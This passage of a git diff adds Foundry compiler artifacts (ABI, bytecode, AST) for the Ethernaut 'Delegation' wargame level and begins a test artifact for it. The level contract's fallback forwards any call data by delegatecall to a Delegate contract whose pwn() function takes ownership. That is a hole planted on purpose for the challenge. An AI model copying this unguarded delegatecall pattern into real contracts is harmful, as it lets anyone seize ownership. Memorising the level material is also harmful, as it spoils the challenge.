11:63","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":50276,"name":"bool","nodeType":"ElementaryTypeName","src":"467:4:63","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},null],"id":50286,"initialValue":{"arguments":[{"expression":{"id":50283,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"514:3:63","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":50284,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"518:4:63","memberName":"data","nodeType":"MemberAccess","src":"514:8:63","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes calldata"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes calldata"}],"expression":{"arguments":[{"id":50280,"name":"delegate","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50256,"src":"491:8:63","typeDescriptions":{"typeIdentifier":"t_contract$_Delegate_$50251","typeString":"contract Delegate"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Delegate_$50251","typeString":"contract Delegate"}],"id":50279,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"483:7:63","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":50278,"name":"address","nodeType":"ElementaryTypeName","src":"483:7:63","typeDescriptions":{}}},"id":50281,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"483:17:63","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":50282,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"501:12:63","memberName":"delegatecall","nodeType":"MemberAccess","src":"483:30:63","typeDescriptions":{"typeIdentifier":"t_function_baredelegatecall_nonpayable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) returns (bool,bytes memory)"}},"id":50285,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"483:40:63","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"466:57:63"},{"condition":{"id":50287,"name":"result","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50277,"src":"537:6:63","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":50291,"nodeType":"IfStatement","src":"533:41:63","trueBody":{"id":50290,"nodeType":"Block","src":"545:29:63","statements":[{"expression":{"id":50288,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"559:4:63","typeDescriptions":{"typeIdentifier":"t_contract$_Delegation_$50294","typeString":"contract Delegation"}},"id":50289,"nodeType":"ExpressionStatement","src":"559:4:63"}]}}]},"implemented":true,"kind":"fallback","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":50274,"nodeType":"ParameterList","parameters":[],"src":"444:2:63"},"returnParameters":{"id":50275,"nodeType":"ParameterList","parameters":[],"src":"456:0:63"},"scope":50294,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"Delegation","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[50294],"name":"Delegation","nameLocation":"243:10:63","scope":50295,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":63} \ No newline at end of file diff --git a/contracts/out/Delegation.sol/Delegation.json b/contracts/out/Delegation.sol/Delegation.json new file mode 100644 index 000000000..fd854c7af --- /dev/null +++ b/contracts/out/Delegation.sol/Delegation.json @@ -0,0 +1 @@ +{"abi":[{"type":"constructor","inputs":[{"name":"_delegateAddress","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"fallback","stateMutability":"nonpayable"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b506040516101a73803806101a783398101604081905261002e9161005b565b600180546001600160a01b039092166001600160a01b03199283161790555f805490911633179055610088565b5f6020828403121561006b575f80fd5b81516001600160a01b0381168114610081575f80fd5b9392505050565b610112806100955f395ff3fe6080604052348015600e575f80fd5b50600436106026575f3560e01c80638da5cb5b146086575b6001546040515f9173ffffffffffffffffffffffffffffffffffffffff16906050908390369060cd565b5f60405180830381855af49150503d805f81146084576040519150601f19603f3d011682016040523d82523d5f602084013e005b005b5f5460a49073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f35b818382375f910190815291905056fea2646970667358221220166c0f46bba8035035dccaec5834c60f688880ba320f92164f691d1412c59e4c64736f6c63430008180033","sourceMap":"234:348:63:-:0;;;310:120;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;358:8;:37;;-1:-1:-1;;;;;358:37:63;;;-1:-1:-1;;;;;;358:37:63;;;;;;:8;405:18;;;;;413:10;405:18;;;234:348;;14:290:155;84:6;137:2;125:9;116:7;112:23;108:32;105:52;;;153:1;150;143:12;105:52;179:16;;-1:-1:-1;;;;;224:31:155;;214:42;;204:70;;270:1;267;260:12;204:70;293:5;14:290;-1:-1:-1;;;14:290:155:o;:::-;234:348:63;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x6080604052348015600e575f80fd5b50600436106026575f3560e01c80638da5cb5b146086575b6001546040515f9173ffffffffffffffffffffffffffffffffffffffff16906050908390369060cd565b5f60405180830381855af49150503d805f81146084576040519150601f19603f3d011682016040523d82523d5f602084013e005b005b5f5460a49073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f35b818382375f910190815291905056fea2646970667358221220166c0f46bba8035035dccaec5834c60f688880ba320f92164f691d1412c59e4c64736f6c63430008180033","sourceMap":"234:348:63:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;491:8;;483:40;;467:11;;491:8;;;483:40;;467:11;;514:8;;483:40;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;260:20;;;;;;;;;;;;466:42:155;454:55;;;436:74;;424:2;409:18;260:20:63;;;;;;;14:271:155;197:6;189;184:3;171:33;153:3;223:16;;248:13;;;223:16;14:271;-1:-1:-1;14:271:155:o","linkReferences":{}},"methodIdentifiers":{"owner()":"8da5cb5b"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_delegateAddress\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"stateMutability\":\"nonpayable\",\"type\":\"fallback\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/Delegation.sol\":\"Delegation\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"src/levels/Delegation.sol\":{\"keccak256\":\"0x25716599c51153d0049c60fc57e189baeab95f360c9b136b397d609260f2b716\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ea06e7fa81b5e55e371f1b2aeef2f996662501ee40874abd0d19243389e670f3\",\"dweb:/ipfs/QmQUirdszW4fPAV9hmyNFhDzrTsPvM63mCBfor7rYn1gYL\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"_delegateAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"stateMutability":"nonpayable","type":"fallback"},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/Delegation.sol":"Delegation"},"evmVersion":"shanghai","libraries":{}},"sources":{"src/levels/Delegation.sol":{"keccak256":"0x25716599c51153d0049c60fc57e189baeab95f360c9b136b397d609260f2b716","urls":["bzz-raw://ea06e7fa81b5e55e371f1b2aeef2f996662501ee40874abd0d19243389e670f3","dweb:/ipfs/QmQUirdszW4fPAV9hmyNFhDzrTsPvM63mCBfor7rYn1gYL"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/Delegation.sol","id":50295,"exportedSymbols":{"Delegate":[50251],"Delegation":[50294]},"nodeType":"SourceUnit","src":"32:551:63","nodes":[{"id":50229,"nodeType":"PragmaDirective","src":"32:23:63","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":50251,"nodeType":"ContractDefinition","src":"57:175:63","nodes":[{"id":50231,"nodeType":"VariableDeclaration","src":"81:20:63","nodes":[],"constant":false,"functionSelector":"8da5cb5b","mutability":"mutable","name":"owner","nameLocation":"96:5:63","scope":50251,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50230,"name":"address","nodeType":"ElementaryTypeName","src":"81:7:63","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":50241,"nodeType":"FunctionDefinition","src":"108:59:63","nodes":[],"body":{"id":50240,"nodeType":"Block","src":"136:31:63","nodes":[],"statements":[{"expression":{"id":50238,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":50236,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50231,"src":"146:5:63","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":50237,"name":"_owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50233,"src":"154:6:63","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"146:14:63","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":50239,"nodeType":"ExpressionStatement","src":"146:14:63"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":50234,"nodeType":"ParameterList","parameters":[{"constant":false,"id":50233,"mutability":"mutable","name":"_owner","nameLocation":"128:6:63","nodeType":"VariableDeclaration","scope":50241,"src":"120:14:63","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50232,"name":"address","nodeType":"ElementaryTypeName","src":"120:7:63","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"119:16:63"},"returnParameters":{"id":50235,"nodeType":"ParameterList","parameters":[],"src":"136:0:63"},"scope":50251,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":50250,"nodeType":"FunctionDefinition","src":"173:57:63","nodes":[],"body":{"id":50249,"nodeType":"Block","src":"195:35:63","nodes":[],"statements":[{"expression":{"id":50247,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":50244,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50231,"src":"205:5:63","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":50245,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"213:3:63","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":50246,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"217:6:63","memberName":"sender","nodeType":"MemberAccess","src":"213:10:63","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"205:18:63","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":50248,"nodeType":"ExpressionStatement","src":"205:18:63"}]},"functionSelector":"dd365b8b","implemented":true,"kind":"function","modifiers":[],"name":"pwn","nameLocation":"182:3:63","parameters":{"id":50242,"nodeType":"ParameterList","parameters":[],"src":"185:2:63"},"returnParameters":{"id":50243,"nodeType":"ParameterList","parameters":[],"src":"195:0:63"},"scope":50251,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[],"canonicalName":"Delegate","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[50251],"name":"Delegate","nameLocation":"66:8:63","scope":50295,"usedErrors":[],"usedEvents":[]},{"id":50294,"nodeType":"ContractDefinition","src":"234:348:63","nodes":[{"id":50253,"nodeType":"VariableDeclaration","src":"260:20:63","nodes":[],"constant":false,"functionSelector":"8da5cb5b","mutability":"mutable","name":"owner","nameLocation":"275:5:63","scope":50294,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50252,"name":"address","nodeType":"ElementaryTypeName","src":"260:7:63","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":50256,"nodeType":"VariableDeclaration","src":"286:17:63","nodes":[],"constant":false,"mutability":"mutable","name":"delegate","nameLocation":"295:8:63","scope":50294,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Delegate_$50251","typeString":"contract Delegate"},"typeName":{"id":50255,"nodeType":"UserDefinedTypeName","pathNode":{"id":50254,"name":"Delegate","nameLocations":["286:8:63"],"nodeType":"IdentifierPath","referencedDeclaration":50251,"src":"286:8:63"},"referencedDeclaration":50251,"src":"286:8:63","typeDescriptions":{"typeIdentifier":"t_contract$_Delegate_$50251","typeString":"contract Delegate"}},"visibility":"internal"},{"id":50273,"nodeType":"FunctionDefinition","src":"310:120:63","nodes":[],"body":{"id":50272,"nodeType":"Block","src":"348:82:63","nodes":[],"statements":[{"expression":{"id":50265,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":50261,"name":"delegate","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50256,"src":"358:8:63","typeDescriptions":{"typeIdentifier":"t_contract$_Delegate_$50251","typeString":"contract Delegate"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":50263,"name":"_delegateAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50258,"src":"378:16:63","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":50262,"name":"Delegate","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50251,"src":"369:8:63","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Delegate_$50251_$","typeString":"type(contract Delegate)"}},"id":50264,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"369:26:63","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Delegate_$50251","typeString":"contract Delegate"}},"src":"358:37:63","typeDescriptions":{"typeIdentifier":"t_contract$_Delegate_$50251","typeString":"contract Delegate"}},"id":50266,"nodeType":"ExpressionStatement","src":"358:37:63"},{"expression":{"id":50270,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":50267,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50253,"src":"405:5:63","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":50268,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"413:3:63","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":50269,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"417:6:63","memberName":"sender","nodeType":"MemberAccess","src":"413:10:63","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"405:18:63","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":50271,"nodeType":"ExpressionStatement","src":"405:18:63"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":50259,"nodeType":"ParameterList","parameters":[{"constant":false,"id":50258,"mutability":"mutable","name":"_delegateAddress","nameLocation":"330:16:63","nodeType":"VariableDeclaration","scope":50273,"src":"322:24:63","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50257,"name":"address","nodeType":"ElementaryTypeName","src":"322:7:63","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"321:26:63"},"returnParameters":{"id":50260,"nodeType":"ParameterList","parameters":[],"src":"348:0:63"},"scope":50294,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":50293,"nodeType":"FunctionDefinition","src":"436:144:63","nodes":[],"body":{"id":50292,"nodeType":"Block","src":"456:124:63","nodes":[],"statements":[{"assignments":[50277,null],"declarations":[{"constant":false,"id":50277,"mutability":"mutable","name":"result","nameLocation":"472:6:63","nodeType":"VariableDeclaration","scope":50292,"src":"467:11:63","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":50276,"name":"bool","nodeType":"ElementaryTypeName","src":"467:4:63","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},null],"id":50286,"initialValue":{"arguments":[{"expression":{"id":50283,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"514:3:63","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":50284,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"518:4:63","memberName":"data","nodeType":"MemberAccess","src":"514:8:63","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes calldata"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes calldata"}],"expression":{"arguments":[{"id":50280,"name":"delegate","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50256,"src":"491:8:63","typeDescriptions":{"typeIdentifier":"t_contract$_Delegate_$50251","typeString":"contract Delegate"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Delegate_$50251","typeString":"contract Delegate"}],"id":50279,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"483:7:63","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":50278,"name":"address","nodeType":"ElementaryTypeName","src":"483:7:63","typeDescriptions":{}}},"id":50281,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"483:17:63","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":50282,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"501:12:63","memberName":"delegatecall","nodeType":"MemberAccess","src":"483:30:63","typeDescriptions":{"typeIdentifier":"t_function_baredelegatecall_nonpayable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) returns (bool,bytes memory)"}},"id":50285,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"483:40:63","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"466:57:63"},{"condition":{"id":50287,"name":"result","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50277,"src":"537:6:63","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":50291,"nodeType":"IfStatement","src":"533:41:63","trueBody":{"id":50290,"nodeType":"Block","src":"545:29:63","statements":[{"expression":{"id":50288,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"559:4:63","typeDescriptions":{"typeIdentifier":"t_contract$_Delegation_$50294","typeString":"contract Delegation"}},"id":50289,"nodeType":"ExpressionStatement","src":"559:4:63"}]}}]},"implemented":true,"kind":"fallback","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":50274,"nodeType":"ParameterList","parameters":[],"src":"444:2:63"},"returnParameters":{"id":50275,"nodeType":"ParameterList","parameters":[],"src":"456:0:63"},"scope":50294,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"Delegation","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[50294],"name":"Delegation","nameLocation":"243:10:63","scope":50295,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":63} \ No newline at end of file diff --git a/contracts/out/Delegation.t.sol/TestDelegation.json b/contracts/out/Delegation.t.sol/TestDelegation.json new file mode 100644 index 000000000..4a221fbb7 --- /dev/null +++ b/contracts/out/Delegation.t.sol/TestDelegation.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"IS_TEST","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"createLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"level","type":"address","internalType":"contract Level"},{"name":"value","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"instance","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"createUsers","inputs":[{"name":"userNum","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"address[]","internalType":"address payable[]"}],"stateMutability":"nonpayable"},{"type":"function","name":"excludeArtifacts","inputs":[],"outputs":[{"name":"excludedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"excludeContracts","inputs":[],"outputs":[{"name":"excludedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"excludeSenders","inputs":[],"outputs":[{"name":"excludedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"failed","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"getEthernautWithStatsProxy","inputs":[{"name":"owner","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"contract Ethernaut"}],"stateMutability":"nonpayable"},{"type":"function","name":"getNextUserAddress","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address payable"}],"stateMutability":"nonpayable"},{"type":"function","name":"getOldFactory","inputs":[{"name":"contractName","type":"string","internalType":"string"}],"outputs":[{"name":"addr","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"mineBlocks","inputs":[{"name":"numBlocks","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"setUp","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"submitLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"instance","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"targetArtifactSelectors","inputs":[],"outputs":[{"name":"targetedArtifactSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetArtifacts","inputs":[],"outputs":[{"name":"targetedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"targetContracts","inputs":[],"outputs":[{"name":"targetedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"targetInterfaces","inputs":[],"outputs":[{"name":"targetedInterfaces_","type":"tuple[]","internalType":"struct StdInvariant.FuzzInterface[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"artifacts","type":"string[]","internalType":"string[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSelectors","inputs":[],"outputs":[{"name":"targetedSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSenders","inputs":[],"outputs":[{"name":"targetedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"testInit","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"testSolve","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"event","name":"log","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_address","inputs":[{"name":"","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_bytes","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_bytes32","inputs":[{"name":"","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_int","inputs":[{"name":"","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_address","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_named_bytes","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_named_bytes32","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_named_decimal_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_decimal_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_string","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_named_uint"